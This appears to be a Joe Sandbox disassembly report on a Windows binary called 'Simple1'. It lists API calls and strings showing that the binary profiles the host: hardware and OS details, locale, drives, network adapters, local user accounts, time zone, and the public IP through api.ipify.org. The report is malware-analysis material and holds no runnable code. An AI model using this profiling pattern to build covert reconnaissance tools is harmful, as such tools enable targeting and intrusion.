Part of subcall function 00007FF71E3999F0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B90

Part of subcall function 00007FF71E3999F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399AE6

Part of subcall function 00007FF71E3999F0: ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B0F
Part of subcall function 00007FF71E3999F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B36

Strings

ProductName, xrefs: 00007FF71E394C8C
ProcessorNameString, xrefs: 00007FF71E394BE3
BaseBoardProduct, xrefs: 00007FF71E394B3E
OS display version: , xrefs: 00007FF71E394D0B
OS name: , xrefs: 00007FF71E394CA4
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 00007FF71E394BAA
Processor name: , xrefs: 00007FF71E394BFB
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 00007FF71E394C4F
HARDWARE\DESCRIPTION\System\BIOS, xrefs: 00007FF71E394B05
Machine name: , xrefs: 00007FF71E394B56
DisplayVersion, xrefs: 00007FF71E394CF3

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$memset$Value$CloseOpenU?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@1@@Osfx@?$basic_ostream@_V12@V?$basic_streambuf@
String ID: BaseBoardProduct$DisplayVersion$HARDWARE\DESCRIPTION\System\BIOS$HARDWARE\DESCRIPTION\System\CentralProcessor\0$Machine name: $OS display version: $OS name: $Processor name: $ProcessorNameString$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 20268565-1502927450
Opcode ID: 12b30c537c136771721c78f4a9f3bda910a894ae6b1a0a306b9aab14cf318f64
Instruction ID: ce7fa7781d7684cf96dc91ae4aeb6b2f109578fd64a7262ff3b68a68ac0101db
Opcode Fuzzy Hash: 12b30c537c136771721c78f4a9f3bda910a894ae6b1a0a306b9aab14cf318f64
Instruction Fuzzy Hash: EFB12476A18F4195EB10EF26D8802E9B3A4FF84794F80413AEA8D47769DF3CE549C760

Function 00007FF71E394E50 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF71E39A0C0: memcpy.VCRUNTIME140 ref: 00007FF71E39A0F8

WinHttpOpen.WINHTTP ref: 00007FF71E394EC6
WinHttpConnect.WINHTTP ref: 00007FF71E394EEB
WinHttpOpenRequest.WINHTTP ref: 00007FF71E394F20
WinHttpSendRequest.WINHTTP ref: 00007FF71E394F4C
WinHttpReceiveResponse.WINHTTP ref: 00007FF71E394F5F
WinHttpQueryDataAvailable.WINHTTP ref: 00007FF71E394F7A
memset.VCRUNTIME140 ref: 00007FF71E394FA4
WinHttpReadData.WINHTTP ref: 00007FF71E394FBE

Part of subcall function 00007FF71E39A0C0: memcpy.VCRUNTIME140 ref: 00007FF71E39A198

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39507D
WinHttpCloseHandle.WINHTTP ref: 00007FF71E395094
WinHttpCloseHandle.WINHTTP ref: 00007FF71E39509D
WinHttpCloseHandle.WINHTTP ref: 00007FF71E3950A6

Strings

GET, xrefs: 00007FF71E394F16
Unable to get IP, xrefs: 00007FF71E394E9E
WinHTTP/1.0, xrefs: 00007FF71E394EBF
api.ipify.org, xrefs: 00007FF71E394EE1

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: Http$CloseHandle$DataOpenRequestmemcpy$AvailableConnectQueryReadReceiveResponseSend_invalid_parameter_noinfo_noreturnmemset
String ID: GET$Unable to get IP$WinHTTP/1.0$api.ipify.org
API String ID: 849217320-4095685055
Opcode ID: 426cd13cdefd68514cd9776234f4fe134a6db36eb49d0d2c03f415de3107bc4e
Instruction ID: 9931720ed1314a65cb26c2dcc4f555b10097ce0e7efcd97d184a2c367f711ab0
Opcode Fuzzy Hash: 426cd13cdefd68514cd9776234f4fe134a6db36eb49d0d2c03f415de3107bc4e
Instruction Fuzzy Hash: 3F619832A18F4192EA10EB26E45036AB7E0FB85BA4F944539EA4D03B54DF3DF489C760

Function 00007FF71E394640 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 246
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLocaleInfoA.KERNELBASE ref: 00007FF71E394695
GetLocaleInfoA.KERNEL32 ref: 00007FF71E394717

Part of subcall function 00007FF71E39A0C0: memcpy.VCRUNTIME140 ref: 00007FF71E39A0F8

memset.VCRUNTIME140 ref: 00007FF71E3947F0
??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E394804
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF71E394821
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E394852
??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E394990
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E39499A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E3949D5
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E394A33

Strings

Language: , xrefs: 00007FF71E39486E
Failed to get locale, xrefs: 00007FF71E3946B3, 00007FF71E394739
Country: , xrefs: 00007FF71E39489A

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$InfoLocale_invalid_parameter_noinfo_noreturn$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_ostream@D@std@@@1@_V?$basic_streambuf@memcpymemset
String ID: Country: $Failed to get locale$Language:
API String ID: 3095796567-568146128
Opcode ID: 3a663008a7502378d2806eca81fbefb42a121fb73892ebbc0818c89bd97be0f9
Instruction ID: 03595048fdc0b7260d67077cf10cb533b80f498486d7791d3c50c7ef1771b2be
Opcode Fuzzy Hash: 3a663008a7502378d2806eca81fbefb42a121fb73892ebbc0818c89bd97be0f9
Instruction Fuzzy Hash: A3B19372B18F8585EB10DF65D4803AD7760FB457A8F80423AEA5D17B98DF78E189C710

Function 00007FF71E393780 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLogicalDrives.KERNELBASE ref: 00007FF71E3937C5
memset.VCRUNTIME140 ref: 00007FF71E3937DA

Part of subcall function 00007FF71E396810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E39684A
Part of subcall function 00007FF71E396810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF71E396866
Part of subcall function 00007FF71E396810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E396898

Part of subcall function 00007FF71E3999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A69
Part of subcall function 00007FF71E3999F0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A89
Part of subcall function 00007FF71E3999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A99
Part of subcall function 00007FF71E3999F0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B7C
Part of subcall function 00007FF71E3999F0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B83
Part of subcall function 00007FF71E3999F0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B90

GetDiskFreeSpaceExA.KERNELBASE ref: 00007FF71E3938F6
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z.MSVCP140 ref: 00007FF71E39392B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E3939D7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E3939DE
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E393A59
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E393A63

Part of subcall function 00007FF71E399610: memcpy.VCRUNTIME140(?,?,?,?,?,00007FF71E391CCF), ref: 00007FF71E399656

Strings

GB, xrefs: 00007FF71E393934
Available Drives: , xrefs: 00007FF71E3937E9

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@_invalid_parameter_noinfo_noreturn$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@??6?$basic_ostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?uncaught_exception@std@@D@std@@@1@@DiskDrivesFreeLogicalOsfx@?$basic_ostream@_SpaceV01@_V12@V?$basic_streambuf@memcpymemset
String ID: GB$Available Drives:
API String ID: 2435906160-4081138596
Opcode ID: 873d8ed40e66d254b1fef8beee453d05849ea1a5f11feba2a669130287f0c7f9
Instruction ID: 5376f500f802d969040a49a2e479404a35ba500bd40eab53d07238567a55c70b
Opcode Fuzzy Hash: 873d8ed40e66d254b1fef8beee453d05849ea1a5f11feba2a669130287f0c7f9
Instruction Fuzzy Hash: B591D662A18F8285EB20DF25D4403BDB760FB857A4F90523AEA8D177A5DF3CE189C710

Function 00007FF71E393AA0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF71E393AEB
memset.VCRUNTIME140 ref: 00007FF71E393B01

Part of subcall function 00007FF71E396810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E39684A
Part of subcall function 00007FF71E396810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF71E396866
Part of subcall function 00007FF71E396810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E396898

GetAdaptersInfo.IPHLPAPI ref: 00007FF71E393B19
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF71E393B28
GetAdaptersInfo.IPHLPAPI ref: 00007FF71E393B39
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF71E393BC0
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E393C8E
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E393C98

Strings

Adapter: , xrefs: 00007FF71E393B50
IP Address: , xrefs: 00007FF71E393B7F

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$AdaptersInfomalloc$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@D@std@@@1@@V?$basic_streambuf@freememset
String ID: Adapter: $IP Address:
API String ID: 1136092572-1613687433
Opcode ID: c7edc62ba95c09bb25c762d494fc7f04a23de319ef8496f2bf0b1d9de3c27718
Instruction ID: 8b33e683718c57039d57acd826cb3913a973a486971f870bd00fd9a2dcdd2c2a
Opcode Fuzzy Hash: c7edc62ba95c09bb25c762d494fc7f04a23de319ef8496f2bf0b1d9de3c27718
Instruction Fuzzy Hash: D4519172A19F8281EB10EB56D4402BEA3A1FB84BA4F84513AEE4D07B55DF3CF549C720

Function 00007FF71E393560 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE ref: 00007FF71E39359E
memset.VCRUNTIME140 ref: 00007FF71E3935B0

Part of subcall function 00007FF71E396810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E39684A
Part of subcall function 00007FF71E396810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF71E396866
Part of subcall function 00007FF71E396810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E396898

Part of subcall function 00007FF71E3999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A69
Part of subcall function 00007FF71E3999F0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A89
Part of subcall function 00007FF71E3999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A99
Part of subcall function 00007FF71E3999F0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B7C
Part of subcall function 00007FF71E3999F0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B83
Part of subcall function 00007FF71E3999F0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B90

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z.MSVCP140 ref: 00007FF71E3935D7

Part of subcall function 00007FF71E3999F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399AE6

Part of subcall function 00007FF71E3999F0: ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B0F
Part of subcall function 00007FF71E3999F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B36

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF71E393603
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E3936DC
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E3936E6

Strings

Processor Architecture: , xrefs: 00007FF71E3935BF
Number of Cores: , xrefs: 00007FF71E3935EC

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$U?$char_traits@_W@std@@@std@@$??6?$basic_ostream@?good@ios_base@std@@?sputc@?$basic_streambuf@V01@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@1@@InfoOsfx@?$basic_ostream@_SystemV12@V?$basic_streambuf@memset
String ID: Number of Cores: $Processor Architecture:
API String ID: 777187999-1490948189
Opcode ID: f08b80ed4651fb83f797399b275d32309c9e16663fecaf2ac744f9129df82a99
Instruction ID: 9438a6450d2ce3fcd73f9e690f33bc911401fcd4cc03f4810220c9516ba1353d
Opcode Fuzzy Hash: f08b80ed4651fb83f797399b275d32309c9e16663fecaf2ac744f9129df82a99
Instruction Fuzzy Hash: 9A51C262A08F4189EB10EF25D8802EDB3B0FB84B98F84413ADA4D17769DF3CE548C750

Function 00007FF71E393CD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140 ref: 00007FF71E393D2C

Part of subcall function 00007FF71E396810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E39684A
Part of subcall function 00007FF71E396810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF71E396866
Part of subcall function 00007FF71E396810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E396898

NetUserEnum.NETAPI32 ref: 00007FF71E393D6B
NetApiBufferFree.NETAPI32 ref: 00007FF71E393E4A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E393E9F
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E393F1A
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E393F24

Strings

User: , xrefs: 00007FF71E393DBD

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@BufferD@std@@@1@@EnumFreeUserV?$basic_streambuf@_invalid_parameter_noinfo_noreturnmemset
String ID: User:
API String ID: 429987867-381282118
Opcode ID: f38195159ee3f469c25e5ed70778729cee69e86cdd66aa19a02179a8398c8ef7
Instruction ID: 5a62c2a5c23e482970af78d53906637e0f73e7e6b1a34d797b2cfc53a2f13414
Opcode Fuzzy Hash: f38195159ee3f469c25e5ed70778729cee69e86cdd66aa19a02179a8398c8ef7
Instruction Fuzzy Hash: DA719372A08F8186EB10EF65D4402ADB7A0FB857A4F905139EB4D13B69DF3CE489CB10

Function 00007FF71E394180 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNELBASE ref: 00007FF71E3941BD
memset.VCRUNTIME140 ref: 00007FF71E3941D0

Part of subcall function 00007FF71E396810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E39684A
Part of subcall function 00007FF71E396810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF71E396866
Part of subcall function 00007FF71E396810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E396898

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39427D
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E394351
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E39435B

Strings

Time Zone: , xrefs: 00007FF71E39420A

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@D@std@@@1@@InformationTimeV?$basic_streambuf@Zone_invalid_parameter_noinfo_noreturnmemset
String ID: Time Zone:
API String ID: 35776714-1239252231
Opcode ID: 4a3cfc00f54bd0dcd01bff2b18e0fa9e16f3ef621efc6b743468659904009485
Instruction ID: bed8a0f1a121990539154dbb20f0378de330d36c673bbe283ac32e3c6d80e72e
Opcode Fuzzy Hash: 4a3cfc00f54bd0dcd01bff2b18e0fa9e16f3ef621efc6b743468659904009485
Instruction Fuzzy Hash: 3F51C872A18F8585EB20EF65E4802EDA371FB947A4F84413AEA8D03759DF7CE589C710

Function 00007FF71E391820 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140 ref: 00007FF71E391865
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF71E3918CD
?tellg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAA?AV?$fpos@U_Mbstatet@@@2@XZ.MSVCP140 ref: 00007FF71E391910
?seekg@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@_JH@Z.MSVCP140 ref: 00007FF71E391927
memset.VCRUNTIME140 ref: 00007FF71E3919A9

Part of subcall function 00007FF71E39B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF71E39107B), ref: 00007FF71E39B522

?read@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEAD_J@Z.MSVCP140 ref: 00007FF71E3919CD
??7ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF71E3919DD
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF71E391A04
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E391A3E
??1?$basic_istream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E391A8D
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E391A97
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E391AC7
??1?$basic_istream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E391B2C

Strings

Couldn't open the file, xrefs: 00007FF71E3918B0
Couldn't read the file, xrefs: 00007FF71E3919E7

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$V01@$??1?$basic_istream@??6?$basic_ostream@V01@@memset$??1?$basic_ios@??7ios_base@std@@?read@?$basic_istream@?seekg@?$basic_istream@?tellg@?$basic_istream@Concurrency::cancel_current_taskMbstatet@@@2@V12@V12@_V?$fpos@_invalid_parameter_noinfo_noreturnmalloc
String ID: Couldn't open the file$Couldn't read the file
API String ID: 2898521299-2967168750
Opcode ID: 0275003dcb37a20596c6dc6a177c6187be1fcbe42ac24130b3cfcc419d978cd0
